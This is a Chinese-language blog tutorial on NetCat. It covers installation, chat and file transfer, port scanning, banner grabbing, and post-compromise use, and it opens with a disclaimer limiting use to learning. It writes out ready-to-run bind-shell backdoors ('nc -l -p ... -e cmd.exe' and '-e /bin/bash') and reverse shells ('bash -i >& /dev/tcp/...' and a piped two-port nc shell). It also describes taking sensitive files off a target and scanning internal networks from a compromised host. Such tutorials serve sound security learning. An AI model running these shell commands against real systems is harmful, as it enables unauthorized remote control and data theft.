当前位置: 首页 > article >正文

探索NetCat:网络流量监测与数据传输的利器

从简单的数据传输到复杂的网络调试,NetCat的灵活性和多功能性让人赞叹不已,在这篇文章中我将深入探讨NetCat的魅力,揭示它的基本功能、实用技巧以及在日常工作中的应用场景,发现如何用这一小工具提升的网络技能与效率。

目录

NetCat安装教程

NetCat基础使用

NetCat文件传输

NetCat端口探测

NetCat反弹shell


注意!!!:本文所述的网络安全攻击手段仅供学习和研究目的,旨在提高用户对网络安全威胁的认识,帮助读者加强自身的防护措施。任何使用本文内容进行的攻击行为,均由实施者自行承担相关责任。博主对此不承担任何法律责任或损失赔偿义务。请遵循法律法规,确保在合法的范围内使用所学知识。

NetCat安装教程

        Netcat简称为nc,被称为“网络工具的瑞士军刀”,是一个功能强大的网络工具,用于读写网络连接中的数据,它支持多种协议(如TCP和UDP),能够在网络上进行数据传输、调试、监控和安全测试,它的命令行界面使得使用者可以快速实现各种网络任务,非常适合系统管理员和网络安全专业人员使用,其下载地址为:地址 ,我们就以下载1.12的举例吧:

当然下载解压之后,如果电脑没有提前关闭杀软的话nc会被当成病毒给杀掉,我们可以打开杀软将杀掉的exe文件恢复并添加到信任区即可,然后我们点击键盘win键输入“高级系统设置”,点击环境变量,找到系统变量里面的path然后点击编辑:

然后将我们解压好netcat工具的目录编辑到里面,然后一直点击确定即可:

然后我们win+r输入cmd打开终端,在终端中输入nc -help,出现如下情况说明我们安装成功:

NetCat基础使用

创建服务端与客户端连接:这里我们可以借助netcat来分别创建服务端与客户端,然后进行两者简易的通信功能,具体如下所示:

01)创建服务端可以执行如下方法进行操作,cmd打开一个终端执行如下命令:

// -l: 启动监听模式 -p: 监听某个端口的连接
nc -l -p [本地端口]

02)创建客户端可以执行如下方法进行操作,cmd打开第二个终端执行如下命令:

nc [服务器ip] [服务器ip开启的端口号]

接下来在服务器中编写相应的信息进行发送,可以看到我们的客户端能及时的收到我们的消息:

返回shell使用:当我们在服务端执行相应的命令之后,在客户端我们就可以执行命令拿到服务端的cmd权限,当拿到目标机器并且目标机器上存在netcat之后,可以使用netcat建立后门方便后期执行目标机器命令的功能:具体如下所示:

弹回Window系统下的shell可以采取如下方式进行:

01)创建服务端可以执行如下方法进行操作,cmd打开一个终端执行如下命令:

// -l: 启动监听模式 -p: 监听某个端口的连接 
// -e cmd.exe: 表示连接之后返回给连接段的程序是cmd.exe
nc -l -p [本地端口] -e cmd.exe

02)创建客户端这里我们使用虚拟机kail系统,虚拟机网络连接方式选择NAT方式,切换到root权限终端执行如下命令:

nc [ip地址] [端口号]

弹回Linux系统下的shell可以采取如下方式进行: 

01)创建服务端可以执行如下方法进行操作,打开一个终端执行如下命令:

nc -l -p [端口号] -e /bin/bash

02)创建客户端这里我们使用window系统,终端执行如下命令:

当然netcat还有一些其他的使用命令,这里就不再一一赘述了,具体可参考如下:

// 参数 + 说明
-C 类似-L选项,一直不断连接[1.13版本新加的功能]
-d 后台执行
-e prog 程序重定向,一旦连接,就执行 [危险!!]
-g gateway 源路由跳数,最大值为8(source-routing hop point[s],up to 8)
-G num 源路由指针:4,8,12,... (source-routing pointer: 4,8,12,...)
-h 帮助信息
-i secs 延时的间隔
-l 监听模式,用于入站连接
-n 指定数字的IP地址,不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 任意指定本地及远程端口
-s addr 本地源地址
-u UDP模式,[netcat-1.15可以:远程nc -ulp port -e cmd.exe,本地nc -u ip port连接,得到一个shell.]
-v 详细输出——用两个-v可得到更详细的内容
-w secs 指定超时的时间
-z 将输入输出关掉——用于扫描时

NetCat文件传输

NetCat工具还提供了文件传输的操作,具体的使用场景主要有以下两个方面可以进行:

取证:当目标机器被黑客攻击之后取证任意可以利用NC的文件传输功能来获取目标机器上的文件内容,避免直接在目标机器上进行操作造成的取证误差。

下载:当目标机器上有一些敏感文件内容无非正常下载时,可以利用NC来进行文件传输。

客户端向服务端传输:接下来我们可以实现在客户端中往服务端传递文件,具体如下所示:

01)创建服务端,终端执行如下命令将接收的文件重命名然后报错当前路径:

nc -l -p 4444 > test.txt

02)创建客户端,终端执行如下命令将当前路径下的文件传输给具体ip和端口的服务器:

nc [服务器ip] [服务器端口] < [传输文件]

服务端向客户端传输:传输方式无非是和上面的命令反着来而已,这里我们再将上面传输给服务端的test.txt文件再传递给客户端,这里直接演示:

NetCat端口探测

当获取到目标权限之后,如果目标机器没有任何途径可以对内网进行探测,但此时刚好有一个netcat的情况下,就可以使用netcat对目标机器进行内网ip的一个端口扫描,具体使用的命令如下所示:

// -v: 表示对错误进行详细输出
// -n: 不对目标机进行DNS解析
// -z: zero I/O 模式,专业对端口扫描,表示对目标IP发送的数据包不包含任何payload
// -w1: 超时设置1秒
nc -v -n -z -w1 [目标ip] [开始端口-结束端口]

如下我们对我们目标主机进行一个端口扫描:

当然如果要扫描范围的端口的话可能还需要等待一段时间,如果仅仅是扫描单个端口的话直接输入单个端口即可,扫描的非常迅速:

如果向查看本机的端口开放情况,可以终端执行 netstat -ano 命令进行查看:

Banner抓取:Banner是网络服务在连接时发送的初始信息,通常包含关于该服务的名称、版本号和其他相关信息,这些信息可以帮助用户或安全专家识别正在运行的服务,了解其配置和潜在的漏洞:

使用Netcat进行Banner抓取是指通过连接到某个网络服务(如HTTP、FTP、SMTP等)并获取服务的“横幅”(banner)信息,这个横幅通常包含关于服务版本、协议和其他有用信息,能够帮助安全专家识别潜在的漏洞或配置问题,具体命令如下所示:

// echo " " 使用echo输出什么都没有的" "
// | 通过管道连接发送到对应端口服务上 
echo " " | nc -v -n -w1 [目标地址] [开始端口-结束端口]

如果端口开放的情况下,端口扫描就会顺便把该端口的banner信息打印出来:

UDP端口扫描:有时候目标主机上有一些防护软件(防火墙),我们不能通过上面常规的TCP去扫描它的端口服务,这个时候我们就可以使用UDP对目标进行扫描,可以简单的绕过防火墙缺点是扫描的结果可能不是太准确,具体命令如下所示:

// -u: 参数使用UDP
nc -u -z -v [目标IP] [目标端口]

NetCat反弹shell

如果纯真某些时候拿到服务器权限之后想要设置一个反弹shell,但是目标服务器上没有安装netcat的情况下,这里时候我们就需要采取别的方式进行处理了,这里我们以bash反弹shell的方向进行举例说明:

1)客户端监听接收netcat命令,终端执行如下命令:

nc -lvp [监听端口]

2)没有安装nc的服务器反弹shell命令,终端执行如下命令:

bash -i >& /dev/tcp/[客户端ip]/[客户端监听端口] 0>&1

命令解释介绍

bash -i >& /dev/tcp/ip/port 0>&1

在命令中bash-i表示已交互模式运行bashshell。重定向符>&,如果是在其后加文件描述符,是将bash-i交互模式传递给文件描述符,而如果其后是文件,则将bash-i交互模式传递给文件。

dev/tcp/ip/port:表示传递给远程主机的IP地址对应的端口

文件描述符:0标准输入、1标准输出、2错误输入输出

命令中的0>&1表示将标准输入重定向到标准输出,实现远程的属于可以在远程输出对应内容

达到的效果如下所示,可以看到我们拿到了我们的linux服务器的shell,并且可以查看其文件信息了,这里有一个编码问题,后期处理掉即可:

如果拿到服务器权限之后想要设置一个反弹shell,可能存在一些防护软件或防火墙配置原因不支持nc的-e参数命令,这里我们可以采用如下的方式进行解决:

1)客户端同时监听两个端口(一个端口作为输入;另一个作为输出),打开两个终端执行:

// 终端1
nc -lvp 4445
// 终端2
nc -lvp 4446

2)服务端执行如下反弹shell命令:

nc ip port | /bin/bash | nc ip port

在上面命令中,在攻击测试机器上开启两个NC,其中一个作为输入,另一个作为输出,目标机器上,使用管道来重定向输入和输出,输入通过管道传给/bin/bash再通过管道来传递给输出,具体如下所示:


http://www.kler.cn/a/377417.html

相关文章:

  • oasys系统代码审计
  • C++ 之boost/date_time/posix_time高精度计时详细总结
  • 【大数据学习 | kafka高级部分】kafka的快速读写
  • 【JavaEE初阶 — 多线程】线程安全问题 & synchronized
  • Spring Boot框架下的教育导师匹配系统
  • GitHub个人主页美化
  • Yelp 数据集进行用户画像, 使用聚类做推荐
  • LangChain学习之路
  • 插入/归并
  • 海风里的青春:海滨学院班级回忆录开发
  • 沈阳乐晟睿浩科技有限公司抖音小店运营创新
  • 如何在忘记密码的情况下解锁 iPhone? 6 种方法分享
  • Nat Med病理AI系列|DEPLOY模型:从病理切片图像预测中枢神经系统肿瘤甲基化状态|顶刊精析·24-11-03
  • 关闭kafka在控制台打印的日志
  • Oracle 第20章:数据库调优
  • Python基于TensorFlow实现双向长短时记忆循环神经网络加注意力机制回归模型(BiLSTM-Attention回归算法)项目实战
  • 信息技术(information Technology)
  • 安卓设备adb执行AT指令控制电话卡
  • 前端如何优化页面中的大量任务
  • vue2中的v-bind相当于原生js的什么
  • 3.1 大数据时代
  • 《Apache Cordova/PhoneGap 使用技巧分享》
  • 19.公益众筹捐赠系统(基于springboot和html的Java项目)
  • HTML 语法规范——代码注释、缩进与格式、标签与属性、字符编码等
  • 【力扣热题100】[Java版] 刷题笔记-121. 买卖股票的最佳时机
  • 【那些年踩过的坑-前端篇- Mac版本】Mac电脑如何升级node.js